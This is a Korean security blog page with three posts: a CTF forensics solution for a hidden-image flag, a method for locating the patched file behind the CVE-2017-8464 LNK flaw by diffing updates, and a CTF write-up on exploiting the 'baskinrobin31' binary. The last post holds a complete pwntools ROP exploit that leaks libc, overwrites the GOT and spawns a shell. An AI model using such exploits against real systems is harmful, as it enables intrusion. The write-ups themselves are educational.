최근 다녀온 교육을 다녀온 후 윈도우 아티팩트와 디지털 포렌식에 대해 관심이 생기던 중

포렌식 문제풀이 사이트인 http://ctf-d.com/에 대해 알게되었다.

 

오랜만에 문제를 풀다보니 옛날 생각도 나고 하기에...

기록을 남기기 위해 겸사겸사 간략하게 블로그에 포스팅하려고 한다.

 

1. 문제

이 사이트에 있는 문제들은 번역기로 돌린 것 같은 뉘앙스가 물씬난다.

어쨌든 jpg파일이 하나 있고, 이를 통해 플래그를 찾는 것으로 보인다.

 

2. 풀이과정

hidden.jpg 파일을 열어 확인하면 이렇게 허여멀건한 화면만 보이므로 아무것도 확인할 수 없다.

 

 

jpg파일의 헤더 값등을 확인하기 위해 HxD를 이용해 헥사값을 열심히 찾아보았지만 별 특이사항이 없었다.

 

 

jpg파일의 EXIF 메타데이터에 힌트가 있을까 싶어 https://29a.ch/photo-forensics/#forensic-magnifier

업로드 해보았지만 특별한 것은 없었는데, 사이트에서 이것 저것 옵션을 눌러보던 중

Noise Analysis기능을 이용하자 사진에 플래그가 적혀있는 것을 알 수 있었다.

 

사진의 밝기조절을 하면 플래그를 읽을 수 있겠다는 느낌이 와서 구글링을 하였고, 포토스케이프 라는 툴을 알게 되었고,

포토스케이프를 이용해 밝기와 색상을 적절하게(?) 조절하자 플래그를 확인 할 수 있었다.

 

3. 마치며

1~2년간 글이라곤 수사보고서만 작성하다보니 블로그에 포스팅하는 게 너무 어색해져 버렸다ㅠㅠ

문체도 의식하지 않고 작성하려 하였지만, 다시 읽어보니 굉장히 수사보고서스럽다..

 

어쨌든, 포렌식 공부도 할 겸 d-ctf 사이트 문제풀이에 대한 포스팅을 다시 한번 간간히 진행해보려고한다.

제로데이 취약점을 찾는 것은 말할 필요도 없이 중요하고 멋진 일이다.

하지만 때때로 제로데이 취약점을 찾는 것만큼 필요하고 의미 있는 일이 패치가 발표된 원데이 취약점의 POC를 구현하는 일이다.

이번 글에서는 이런 원데이 취약점 중 공개된 정보가 적을 때 패치 된 취약점이 무엇이었는지 찾고  POC를 구현하는 방법에 대해 적어보려고한다. 


따라서 이 글은 CVE-2017-8464 LNK취약점을 다루기는 하지만 취약점에 대한 내용보다는 정보가 없는 원데이 취약점을 어떻게 구현해 나가는 지에 중점을 두고있다.


1. 공개된 취약점 정보 확인하기

링크 : https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464


위 그림은 마이크로소프트 사의 MSRC페이지에서 확인한 CVE-2017-8464정보이다.  CVE-2017-8464 취약점은 윈도우즈의 링크파일(.LNK)를 이용해 RCE가 가능한 취약점이라고 설명되어있다. 공격자가 피해자에게 악의적으로 조작된 링크파일 바이너리를 전달하면 피해자가 해당 파일이 있는 폴더를 열기만해도 공격코드가 실행되는 취약점이다.

(현재 기점으로 2년이나 된 취약점이기 때문에 MSRC외에도 exploit-db라던가, github에 공개된 POC들이 많지만 글의 목적에 따라 다른 정보가 없다고 가정한다.)


취약점 설명 아래에는 해당 취약점을 패치하기위한 파일들을 볼 수 있다.


패치파일에는 해당 취약점을 보완하기위한 파일도 있지만 기타 다른 취약점 패치라던가, 기능패치라던가 많은 것들이 같이 포함되어있기 때문에 어떤 파일을 패치 했는지 찾는 것이 중요하다.


취약점 관련 파일을 찾는 범위를 좁히기위해 Security Update 패치파일을 다운받는다. 분석환경 OS에 맞는 파일을 찾으면되고, 참고로 64bit보다는 32bit환경을 택하는 것이 더 수월하다. 



여기서는 Windows 7 for 32-bit Systems Service Pack 1 의 Security Only 링크를 클릭했고, 목록 중 두번째 파일을 다운받았다.

다운받은 파일은 .msu확장자를 갖는 패치 파일인데, 압축해제가 가능하다. 압축해제를 하면 .cab파일을 얻을 수 있다.




cab파일 역시 많은 패치파일을 포함하고있는 일종의 압축파일인데, 이 파일은 윈도우 명령어 expand로 압축해제할 수 있다.
ex) expand [cab file] -f:[추출 파일명] [경로]

- expand Windows6.1-KB4022722-x86.cab -f:* .



cab를 풀고나면 보다시피 엄청나게 많은 파일이 있다. 이 중에 취약점과 관련된 파일을 선별해내야한다ㅠㅠ

선별하기전에 해야하는 선행할 작업이 하나 더 있는데, 해당 패치 적용 직전의 버전으로 윈도우즈의 버전을 올려야한다. 이 과정을 통해 패치 비교의 범위를 줄인다.


취약점이 패치 된 파일을 찾기 위해 현재 explorer.exe에 로드된 dll(LNK파일은 explorer.exe에서 핸들링 되므로)과 패치 파일목록에 있는 dll을 매치시키는 파이썬 스크립트를 작성했고 실행한 결과 범위를 많이 줄일 수 있었다. 아래는 스크립트 중 일부이다.



위 그림은 스크립트 실행 결과중 일부인데, LNK파일을 핸들링하는 dll인 shell32.dll이 있었다. 그리고 2010년, 2015년도에 발생한 링크파일 취약점도 shell32.dll에서 발생했었기 때문에 2017취약점도 shell32.dll에서 발생했을 것이라 예상해 볼 수있다.


'Study > Windows' 카테고리의 다른 글

Windows Hooking(Frida)  (5) 2018.01.30

1. 시작하기전에...


한동안 바빠서 블로그 업데이트를 통..하지못했었는데, 새해도 되었으니 다시 시작해보려고합니다.

원래는 how2heap을 계속 올려야하는데, 지난 코드게이트 문제들을 리뷰해볼 기회가 생겨서 작년 문제 중 하나를 선정하였습니다.



2. 정적 분석


file 명령어 실행 결과 바이너리가 x64, dynamaically linked임을 알 수 있습니다.



checksec를 통해 Mitigation을 확인해보니 카나리도 없고, pie도 안걸려있습니다. Patial RELRO라 GOT도 덮어쓸 수 있습니다.


바이너리를 실행하면 술자리 게임 베스킨라빈스 31이 시작됩니다. 각 턴마다 1~3의 숫자를 입력받고, 남은 숫자가 표시됩니다. 



IDA로 디컴파일해보겠습니다.


main()


- 실행화면에서 봤던 문구들("### ~~ ###")들을 출력하고 남은 숫자(remain_val)가 0보다 클때 반복문을 실행합니다.

- 반복문 안에서 your_turn()함수가 제대로 끝났는 지 검사하는 is_your_turn_done의 값으로 분기를 실행합니다.

- my_turn()은 프로그램이 턴을 수행하는 기능이 구현되어있습니다.

- your_turn()은 유저의 입력으로 턴을 수행하는 기능이 구현되어있습니다.

- 유저가 이겼을 경우를 의미하는 것같은 분기문에서 힌트가 ROP라고 알려주고있습니다.



your_turn()


- 남은 수를 의미하는 remain_val의 포인터를 함수의 인자로 입력받습니다.

- 유저로부터 입력받은 숫자를 저장하는 변수가 150byte로 되어있습니다.

- 하지만 입력은 400byte까지 받을 수 있습니다. -> 스택 버퍼오버플로우가 발생하게됩니다.



helper()

디컴파일 후 함수목록을 잘 보면 helper()함수가 있습니다. hex ray로는 볼수 없고, 어셈코드만 볼 수 있습니다.

어셈코드를 보면 스택프레임 코드를 제외하면 pop rdi, pop rsi, pop rdx 코드 밖에 없습니다.


pop rdi, pop rsi, pop rdx, retn 가젯은 x64 rop에서 pppr로 사용하는 꼭 필요한 가젯입니다.

x64 함수 호출 규약은 x86 함수 호출 규약과 다르기때문에 rop 코드도 다른 부분이 있습니다.


x64 함수 호출 규약에 관한 자세한 내용은 아래 링크를 참조하세요.

링크 : https://kkamagui.tistory.com/811


2. 동적 분석

바이너리 실행 중 your_turn() 함수에서 "a" * 8을 입력한 다음 스택을 보겠습니다.


입력 값을 저장하는 버퍼의 주소는 0x7ffffffdb90부터 시작하고, 리턴 주소가 저장 된 주소는 0x7ffffffdc48에 저장되어있습니다.


따라서 버퍼 주소 - 리턴 주소가 저장된 주소는 0xb8(184)이고, 카나리가 존재하지 않기때문에 0xb8개의 dummy이 후 rop코드를 시작하면 됩니다.

 

3. exploit

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98


from pwn import *

p = process('./baskinrobin31')

e = ELF('./baskinrobin31')

libc = ELF("./libc.so.6")

context.log_level = 'debug'

def launch_gdb(p):

   context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

   gdb.attach(proc.pidof(p)[0])

#find plt & got address

log.info("found address of read plt : %s" % hex(e.plt["read"]))

read_plt = e.plt["read"]

log.info("found address of write plt : %s" % hex(e.plt["write"]))

write_plt = e.plt["write"]

log.info("found address of puts plt : %s" % hex(e.plt["puts"]))

puts_plt = e.plt["puts"]

log.info("found address of puts got : %s" % hex(e.got["puts"]))

puts_got = e.got["puts"]

#real address of read func - real address of system func

puts_system_offset = libc.symbols['puts'] - libc.symbols['system']

'''

21 .dynamic      000001d0 0000000000601e28  0000000000601e28 00001e28 2**3

24 .data         00000010 0000000000602078  0000000000602078 00002078 2**3

25 .bss          00000020 0000000000602090  0000000000602090 00002088 2**4

'''

#binsh addr

binsh_addr = 0x602090 + 0x10

binsh = "/bin/sh"

log.info("puts to system offset : %s" % hex(puts_system_offset))

#0x0040087a: pop rdi ; pop rsi ; pop rdx ; ret  ; (1 found)

pppr = 0x0040087a

call_your_turn = 0x400AE5

p.recvuntil("How many numbers do you want to take ? (1-3)\n")

#leak puts got

payload  = "a"*184

payload += p64(pppr)

payload += p64(1)

payload += p64(puts_got)

payload += p64(len(str(puts_got)))

payload += p64(write_plt)

#call your turn again

payload += p64(call_your_turn)  

#

payload2 = "a"*184

payload2 += p64(pppr)

payload2 += p64(0)

payload2 += p64(puts_got)

payload2 += p64(0x8)

payload2 += p64(read_plt)

payload2 += p64(pppr)

payload2 += p64(0)

payload2 += p64(binsh_addr)

payload2 += p64(len(str(binsh)))

payload2 += p64(read_plt)

payload2 += p64(pppr)

payload2 += p64(binsh_addr)

payload2 += p64(1)

payload2 += p64(1)

payload2 += p64(puts_plt)

p.sendline(payload)

d = p.recvuntil("Don't break the rules...:(")

p.recv(2)

puts = p.recv(7) + "\x00"

puts = u64(puts)

p.sendline(payload2)

log.info("puts = 0x%x" % puts)

system_addr = puts - puts_system_offset

log.info("system = 0x%x" % system_addr)

p.recvuntil("How many numbers do you want to take ? (1-3)\n")

p.send(p64(system_addr))

p.sendline(binsh)

p.interactive()

Colored by Color Scripter

cs


exploit 코드의 내용 개요는 다음과 같습니다.


사전과정

1. 호출하고 싶은 함수들의 plt 찾기(read, write, puts)

2. got를 덮을 함수의 got 찾기(puts)

3. 필요한 가젯과 오프셋 찾기(pppr, binsh_addr, puts_system_offset, call_your_turn)


ROP payload

1. read()함수를 호출하여 puts got에 있는 값을 알아내기

2. your_turn()를 호출해서 puts의 got에 system함수 got주소 쓰기

3. "/bin/sh"문자열 쓰기

4. puts호출해서 system함수 실행시키기


x64 ROP

앞서 말씀드린바와 같이 x64의 함수 호출 규약은 x86과 달라서 rop코드의 구성이 조금 다릅니다.

x64 리눅스에서 함수에 파라미터를 전달할 때, RDI, RSI, RDX, RCX, R8, R9의 순으로 전달하며 이 이상은 x86과 동일하게

스택을 이용해서 전달합니다.


따라서 x64에서 파라미터에 값을 전달하기 위해 pppr을 먼저 호출해서 함수 호출 전 파라미터를 세팅해야합니다.


코드 설명

13 ~ 24라인은 pwntools의 기능을 이용해 바이너리에서 사용하는 libc 함수들의 plt와 got를 구합니다.


27라인에서는 pwntools를 이용해 libc에 있는 puts와 system의 symbol offset을 계산합니다. 여기서 계산한 offset을 이용해

나중에 puts의 got에 써져있는 주소로 system의 주소를 계산할 수 있습니다.


50 ~ 56라인은 puts의 got에 써있는 주소를 릭하기 위한 payload입니다. 

59라인에서 다시 your_turn()함수를 호출하여 입력을 받을 수 있도록합니다.


62 ~ 67라인에서는 계산한 system의 주소를 puts의 got에 덮어쓰도록 합니다.


69 ~ 73라인에서는 bss영역 중 선정한 공간에 "/bin/sh"문자열을 저장합니다.


75 ~ 79라인에서 system함수를 호출하여 exploit을 완성합니다.


83 ~ 86라인은 50 ~ 56라인에서 릭한 puts의 got에 써있는 주소를 저장합니다.

90 ~ 92라인은 앞서 계산한 offset을 이용해 system함수의 실제 주소를 계산합니다.


95라인은  62 ~ 67라인에서 puts의 got에 덮어쓸 system의 주소를 전송합니다.

96라인은 69 ~ 73라인에서 "/bin/sh"문자열을 저장할 수 있도록 문자열을 전송합니다.


4. exploit 결과


+ Recent posts